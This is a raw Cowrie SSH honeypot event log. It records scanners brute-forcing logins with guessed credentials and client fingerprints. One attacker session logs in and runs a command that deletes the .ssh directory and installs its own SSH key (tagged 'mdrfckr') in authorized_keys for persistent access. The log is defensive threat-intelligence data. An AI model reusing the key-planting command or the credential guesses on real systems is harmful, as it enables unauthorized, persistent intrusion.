{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:6e:90:9a:fc:2b:f2:a1:e4:aa:09:c9:92:28:4c:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpHyF9BMdzw2nh9oCQclr6C23On1Rqe4dcTiRhBnrv7J0UgLIAeiaG2FWDdXOsqr39P4cWZKtun8DOLw+KNzKectEkO2J5+XsbaWcqnLfgbVmo0fntSlxjeuFRbHPMq5Rak9JmuO9mnFNygZ6Ns+Ln+7+/SjtNcfl0pEpVoAjr81CagrFAfCntbTFIwlhm+Y9ZQx5kHqp+qzYDdigzMNV09Nw+Rf8CB96qKuXkwJdpkUKEiMFL7IgEJYiqgH6SqtuXFGb7vL0Cqen5OKUfQd0T6pp+byXyaA3xA3WGiM+B+70Egp8+fsvX+qw/tGMYCT0nVpfj6NIgH21veffixbJZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.185954Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:32:50:13:29:3d:e8:9a:f4:4d:b1:89:9f:b5:4f:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JMJfywZSn+qV/5qjGlrjZzPgDnDii/SnOLHsCoXrR6VqvDzK6DBlFbpDGEXpIl4uv/PsJQn2zRPe1eDUcEteci1LgucxvBPdFqRmXy0dgXj6X3/MfAJlDY4IRqsmXh1yJ0Z5KVdDzRMox+fxUbepT0k+n6Fgle09v7BgFivY2vGLJir4K87gPbD6DRZjKTqK9OVUqtQN9hkBEUwhMWBDP56baP5nQu0/qBjuJHl4V60R7/W1HoRvlNDVBdXdTml5ua8hyQuiQpE2b04fBZX8ElBULDMhoSc6azxgB8pSU7wlolAPbrlnxYv/AVfHBtVJU+6pXctiMZn8NOjCxqLCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:32:50:13:29:3d:e8:9a:f4:4d:b1:89:9f:b5:4f:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.451414Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:32:50:13:29:3d:e8:9a:f4:4d:b1:89:9f:b5:4f:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JMJfywZSn+qV/5qjGlrjZzPgDnDii/SnOLHsCoXrR6VqvDzK6DBlFbpDGEXpIl4uv/PsJQn2zRPe1eDUcEteci1LgucxvBPdFqRmXy0dgXj6X3/MfAJlDY4IRqsmXh1yJ0Z5KVdDzRMox+fxUbepT0k+n6Fgle09v7BgFivY2vGLJir4K87gPbD6DRZjKTqK9OVUqtQN9hkBEUwhMWBDP56baP5nQu0/qBjuJHl4V60R7/W1HoRvlNDVBdXdTml5ua8hyQuiQpE2b04fBZX8ElBULDMhoSc6azxgB8pSU7wlolAPbrlnxYv/AVfHBtVJU+6pXctiMZn8NOjCxqLCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.455685Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:85:c5:60:59:0d:d2:43:90:7d:62:51:2b:e9:24:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEtbndr/aruj+xwBYbtXV8GH4ac+gma+nWFKWbkofnzEDA1fQ47/NAcfmmBCdy9X970bhdynryS/eYGvLMkjij9d0AHS16tvHaGBPx6YwTLTkBXWz/9LBTxdboRSIKQ3PczkczM/3B88lAU270QCJXFVocaWmze5YrmP0iXRJLZsfaD1hx2Ltyw8eb83mAoZiEQXh9p1D4CEBCn9mg8v6LjjGZqUok6NvX3D6dRa5Tb8ErGDWKaLwNCqZ3fXO7ZOk2ImpaeTYq4k5zRpl2Lf79oPF1wd6twDoOt+qyHx7RYSjsjOe9itrctCWsMafgPzTfHxuk1xopRtjHj3RQGZjN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:85:c5:60:59:0d:d2:43:90:7d:62:51:2b:e9:24:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.464344Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:85:c5:60:59:0d:d2:43:90:7d:62:51:2b:e9:24:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEtbndr/aruj+xwBYbtXV8GH4ac+gma+nWFKWbkofnzEDA1fQ47/NAcfmmBCdy9X970bhdynryS/eYGvLMkjij9d0AHS16tvHaGBPx6YwTLTkBXWz/9LBTxdboRSIKQ3PczkczM/3B88lAU270QCJXFVocaWmze5YrmP0iXRJLZsfaD1hx2Ltyw8eb83mAoZiEQXh9p1D4CEBCn9mg8v6LjjGZqUok6NvX3D6dRa5Tb8ErGDWKaLwNCqZ3fXO7ZOk2ImpaeTYq4k5zRpl2Lf79oPF1wd6twDoOt+qyHx7RYSjsjOe9itrctCWsMafgPzTfHxuk1xopRtjHj3RQGZjN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.467741Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.474024Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":59794,"dst_ip":"10.17.0.5","dst_port":22,"session":"63b1bad3dc7d","protocol":"ssh","message":"New connection: 138.124.158.150:59794 (10.17.0.5:22) [session: 63b1bad3dc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:01.874143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:01.879493Z","src_ip":"138.124.158.150","session":"63b1bad3dc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:02.066722Z","src_ip":"138.124.158.150","session":"63b1bad3dc7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ipadmin","password":"ipadmin","message":"login attempt [ipadmin/ipadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:02.849106Z","src_ip":"138.124.158.150","session":"63b1bad3dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:04.040275Z","src_ip":"138.124.158.150","session":"63b1bad3dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33620,"dst_ip":"10.17.0.5","dst_port":22,"session":"22884b85e14f","protocol":"ssh","message":"New connection: 87.106.29.151:33620 (10.17.0.5:22) [session: 22884b85e14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:04.618238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:04.623489Z","src_ip":"87.106.29.151","session":"22884b85e14f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:04.724571Z","src_ip":"87.106.29.151","session":"22884b85e14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2023#","message":"login attempt [root/server2023#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:05.129488Z","src_ip":"87.106.29.151","session":"22884b85e14f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:06.231447Z","src_ip":"87.106.29.151","session":"22884b85e14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58028,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd2295181ed2","protocol":"ssh","message":"New connection: 2.57.122.208:58028 (159.203.135.109:22) [session: cd2295181ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:08.080634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:08.372119Z","src_ip":"2.57.122.208","session":"cd2295181ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:08.376732Z","src_ip":"2.57.122.208","session":"cd2295181ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:10.139818Z","src_ip":"2.57.122.208","session":"cd2295181ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:11.393064Z","src_ip":"2.57.122.208","session":"cd2295181ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:10:44.054915Z","src_ip":"42.1.120.37","session":"fc0928ab9247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24247,"dst_ip":"10.17.0.5","dst_port":23,"session":"8323ee433603","protocol":"telnet","message":"New connection: 212.55.149.117:24247 (10.17.0.5:23) [session: 8323ee433603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:14.082046Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45346,"dst_ip":"10.17.0.5","dst_port":22,"session":"4afc0e81c756","protocol":"ssh","message":"New connection: 103.15.226.202:45346 (10.17.0.5:22) [session: 4afc0e81c756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:33.325899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:33.332938Z","src_ip":"103.15.226.202","session":"4afc0e81c756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:33.575669Z","src_ip":"103.15.226.202","session":"4afc0e81c756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"998877@sp","message":"login attempt [root/998877@sp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:34.311986Z","src_ip":"103.15.226.202","session":"4afc0e81c756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:35.560930Z","src_ip":"103.15.226.202","session":"4afc0e81c756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":48612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c4be140bd0","protocol":"ssh","message":"New connection: 138.124.158.150:48612 (10.17.0.5:22) [session: a7c4be140bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:37.524399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:37.529233Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:37.704452Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwe123","message":"login attempt [steam/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:38.436941Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:38.832691Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:38.835428Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:38.837981Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.015325Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.404338Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.407659Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.588722Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:11:39.592704Z","src_ip":"138.124.158.150","session":"a7c4be140bd0","protocol":"ssh"}
